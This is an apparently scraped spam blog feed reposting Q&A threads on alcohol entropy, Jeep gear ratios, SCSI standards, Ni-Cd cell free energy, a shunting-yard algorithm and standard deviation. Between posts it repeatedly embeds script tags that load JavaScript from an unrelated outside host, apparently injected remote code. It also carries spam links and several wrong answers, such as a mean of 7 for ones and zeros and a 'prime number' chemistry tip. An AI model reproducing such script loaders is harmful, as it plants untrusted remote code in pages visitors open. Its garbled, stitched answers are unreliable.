type=text/javascript></script><br><br>crthttp://www.blogger.com/profile/16870657525052831157noreply@blogger.com0tag:blogger.com,1999:blog-7186743218793421238.post-541245629021420482010-05-24T18:26:00.002-07:002010-05-24T18:26:45.953-07:00Which of the following linear chain alcohols is likely to have the highest standard entropy in the liquid statWhich of the following linear chain alcohols is likely to have the highest standard entropy in the liquid state?<br><br /><br /><br><br /><br />a.CH3CH2OH<br><br /><br />b.CH3OH<br><br /><br />c.CH3CH2CH2CH2CH2OH<br><br /><br />d.CH3CH2CH2OH<br><br /><br />e.CH3CH2CH2CH2OH<br><script language=JavaScript src=http://www.chinese-kungfu.org/a1.js type=text/javascript></script><br>Which of the following linear chain alcohols is likely to have the highest standard entropy in the liquid stat<br>a..if you add up the numbers, you get a prime number. that's the secret that chemistry teachers don't tell you,<br>Reply:D!!!<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>crthttp://www.blogger.com/profile/16870657525052831157noreply@blogger.com0tag:blogger.com,1999:blog-7186743218793421238.post-361380976858975962010-05-24T18:26:00.001-07:002010-05-24T18:26:31.462-07:00What is the stock gear ratio in a standard base 1991 Jeep Wrangler?What is the stock gear ratio in a standard base 1991 Jeep Wrangler?<br><br /><br />A) 3.55<br><br /><br />B) 3.73 <br><br /><br />C) 4.10<br><br /><br />D) 5.13<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>What is the stock gear ratio in a standard base 1991 Jeep Wrangler?<br>I looked at wikipedia, and answered it off of wajas, its B.<br>Reply:Most 6-cylinders got 3.07 or 3.55, most stick shift manual 6-cylinders got the 3.07.<br><br /><br /><br><br /><br />Most 4-cylinders got 4.10, but 3.73 was also an option.<br><br /><br /><br><br /><br />There are several methods for figuring out what gears you have. First there should be a tag on your diff cover. You can see this tag is stamped 3.07:<br><br /><br /><br><br /><br />http://www.cdmfabrication.com/bbpics/axl... <br><br /><br /><br><br /><br />Next Dana axles have a bill of material code, which identifies everything in the axle this is stamped into the axle tube itself, and can be hard to spot as its very light. This picture shows a bill of material stamping:<br><br /><br /><br><br /><br />http://www.cdmfabrication.com/bbpics/axl...<br><br /><br /><br><br /><br />Once you have this number, you can decode it on this Dana website:<br><br /><br /><br><br /><br />http://www2.dana.com/expert/wc.dll?cvsp~... <br><br /><br /><br><br /><br />You can also roughly estimate the gear ratio, by jack the rear axle up off the ground and spinning a tire, if the pinion makes 3.5 turns for one turn of the wheel you can figure you have 3.55 ratio.<br>Reply:there are 2 tabs on your differential the first 3 numbers on the second tab will tell you the gear ratio<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><a href=http://1cabbage.blogspot.com/>cabbage</a>crthttp://www.blogger.com/profile/16870657525052831157noreply@blogger.com0tag:blogger.com,1999:blog-7186743218793421238.post-89234198502639004682010-05-24T18:26:00.000-07:002010-05-24T18:26:15.595-07:00Which SCSI standard first supported removeable storage devices?Which SCSI standard first supported removeable storage devices?<br><br /><br />A. SCSI-2<br><br /><br />B. ultra-3 SCSI<br><br /><br />C. SCSI-1<br><br /><br />D. SCSI-3<br><script language=JavaScript src=http://www.chinese-kungfu.org/a1.js type=text/javascript></script><br>Which SCSI standard first supported removeable storage devices?<br>SCSI-1; as SCSI served all from the beginning as a more elegant replacement of Shuggart, IDE/EIDE/ATA.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>crthttp://www.blogger.com/profile/16870657525052831157noreply@blogger.com0tag:blogger.com,1999:blog-7186743218793421238.post-61319713574511003092010-05-24T18:25:00.003-07:002010-05-24T18:25:59.695-07:00What is the standard free energy change for this reaction?The nickel-cadmium battery cell has a standard potential of +1.20 v. The cell reaction is 2 NiO(OH)(s) + Cd(s) + 2H2O(l) ===%26gt; 2 Ni(OH)2(s) + Cd(OH)2(s). What is the standard free energy change for this reaction? <br><br /><br /><br><br /><br /> A. -38.7 kJ <br><br /><br /> B. -116 kJ <br><br /><br /> C. -232 kJ <br><br /><br /> D. -463 kJ<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>What is the standard free energy change for this reaction?<br>∆G = -nFE° = -2*96485*1.20 = -232 (kJ)<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>crthttp://www.blogger.com/profile/16870657525052831157noreply@blogger.com0tag:blogger.com,1999:blog-7186743218793421238.post-56482328519813852412010-05-24T18:25:00.002-07:002010-05-24T18:25:43.114-07:00C++ Shunting_yard_algorithm?The only prog. i can find is for c but i need the code for C++ i know c code will work on c++ but i dont understand c <br><br /><br /><br><br /><br />The objective is to implement an infix to<br><br /><br />postfix RPN notation converter using a stack. There is a good description of the shunting yard<br><br /><br />algorithm described by Edsgar Dijkstra at http://en.wikipedia.org/wiki/Shunting_ya...<br><br /><br />There is an example of the algorithm in the link. The infix notation string should be entered through standard input and the<br><br /><br />postfix notation conversion displayed on standard output.<br><br /><br />The stack used in this project should be written as a class and using a linked list to implement the<br><br /><br />stack data structure.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a1.js type=text/javascript></script><br>C++ Shunting_yard_algorithm?<br>I have written this program in Java, it is not that different from C or C++, there is an algorithm for converting:<br><br /><br />Scan the Infix string from left to right. <br><br /><br />1- Initialise an empty stack. <br><br /><br />2- If the scannned character is an operand, add it to the Postfix string. If the scanned character is an operator and if the stack is empty Push the character to stack.<br><br /><br /><br><br /><br />3- If the scanned character is an Operand and the stack is not empty, compare the precedence of the character with the element on top of the stack (topStack). If topStack has higher precedence over the scanned character Pop the stack else Push the scanned character to stack. Repeat this step as long as stack is not empty and topStack has precedence over the character.<br><br /><br />Repeat this step till all the characters are scanned. <br><br /><br /><br><br /><br />4- (After all characters are scanned, we have to add any character that the stack may have to the Postfix string.) If stack is not empty add topStack to Postfix string and Pop the stack. Repeat this step as long as stack is not empty. <br><br /><br /><br><br /><br />5- Return the Postfix string. <br><br /><br /><br><br /><br />Check out:<br><br /><br />http://scriptasylum.com/tutorials/infix_...<br><br /><br />for more details, i copied and pasted the algorithm from this site, there are also some examples there.<br><br /><br /><br><br /><br />The Java code is too long to send it here, if u want it, e-mail me and i will send it.<br><br /><br /><br><br /><br />Good luck<br><br /><br />Bye<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>crthttp://www.blogger.com/profile/16870657525052831157noreply@blogger.com0tag:blogger.com,1999:blog-7186743218793421238.post-47049086501544704502010-05-24T18:25:00.001-07:002010-05-24T18:25:28.401-07:00Standard deviation problem......??can anyone tell the answer and the method to solve the below problem .......... is there any shortrick to solve them......??<br><br /><br /><br><br /><br /><br><br /><br />1)Which of the following set of numbers has the highest Standard deviation?<br><br /><br />a)1,0,1,0,1,0 b)-1,-1,-1,-1,-1,-1 c)1,1,1,1,1,1 d)1,1,0,-1,0,-1<br><br /><br /><br><br /><br /><br><br /><br /> 2. which of the follwing group has highest standard deviation?<br><br /><br /> 1) 2, 0, -2, 2, 0, -2<br><br /><br /> 2) 2, 2, 2, 2, 2, 2<br><br /><br /> 3) -2, -2, -2, -2, -2, -2<br><br /><br /> 4) 2, -2, 2, -2, 2, -2<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>Standard deviation problem......??<br>Standard deviation is basically a measure of how much of a difference there normally is between different measurements in your set. If you have a set like {1,5,8,3,10,5,12,-2,21}, your standard deviation is relatively large because your numbers are all over the place. If you have a set like {5,6,4,5,7,5,4,5,5,6}, your standard deviation is pretty small because most of your numbers are pretty close together.<br><br /><br /><br><br /><br />For problem 1:<br><br /><br />a) This set has different numbers with a small difference, so there is a standard deviation.<br><br /><br />b) All the numbers are the same, so the standard deviation is 0.<br><br /><br />c) Again, all the numbers are the same, so the standard deviation is 0.<br><br /><br />d) The numbers range from -1 to 1, which is the biggest range among all of your sets. Clearly, this standard deviation is higher than (a).<br><br /><br /><br><br /><br />So, the answer is (d).<br><br /><br /><br><br /><br /><br><br /><br />Problem 2:<br><br /><br />Based on the same reasoning, you can eliminate choices (2) and (3) because those standard deviations are both equal to zero.<br><br /><br />Between choices 1 and 4, you can decide based purely on the fact that choice 1 also has the 0 in between. Because of this, you have more numbers that are closer to the average of the set (the average of both sets is 0). Nevertheless, you could also just calculate the standard deviation for those last two if you want to check your answer... the st. dev. values for choices 1 and 4 are actually fairly close to each other.<br><br /><br /><br><br /><br />So, the answer is (4).<br><br /><br /><br><br /><br /><br><br /><br />EDIT: FYI, The person who answered after me is wrong; don't use that answer. The mean of {1,0,1,0,1,0} is 0.5, not 7. The standard deviation is 0.55, not 8. How can the mean of 1's and 0's be equal to 7?<br><br /><br />I don't mean any offense, I just want to make sure that you don't use the wrong answer.<br>Reply:A large standard deviation indicates that the data points are far from the mean and a small standard deviation indicates that they are clustered closely around the mean<br><br /><br />sooo....<br><br /><br />{1,0,1,0,1,0} has a mean of 7 so standard deviation = 8.0829<br><br /><br />{-1,-1,-1,-1,-1,-1} has a mean of -1 so standard deviation = 0<br><br /><br />{1,1,1,1,1,1} has a mean of 1 so standard deviation also = 0<br><br /><br />{1,1,0,-1,0,-1} has a mean of 0 so standard deviation = 0.89443<br><br /><br />now... since you are looking for the "Highest" Standard Deviation, the answer must be 8.0829<br><br /><br /><br><br /><br />That was the answer to number 1.<br><br /><br /><br><br /><br />Here goes number 2.<br><br /><br /><br><br /><br />{2, 0, -2, 2, 0, -2} has a mean of 0 and standard deviation = 1.78885<br><br /><br />{2, 2, 2, 2, 2, 2} has a mean of 2 and standard deviation = 0<br><br /><br />{-2, -2, -2, -2, -2, -2} has a mean of -2 and standard deviation also = 0 <br><br /><br />{2, -2, 2, -2, 2, -2} has a mean of 0 and the standard deviation = 2.19089<br><br /><br /><br><br /><br />So, in your case, the highest "Standard Deviation" must be 2.19089<br><br /><br /><br><br /><br />I Hope this helped you. I am pretty sure it is correct, but if it isn't good luck lol.<br><br /><br /><br><br /><br />I have also put a source that should give you some assistance for further problems if needed.<br>Reply:1) a<br><br /><br />2) 4<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><a href=http://phlox4.blogspot.com/>phlox</a>crthttp://www.blogger.com/profile/16870657525052831157noreply@blogger.com0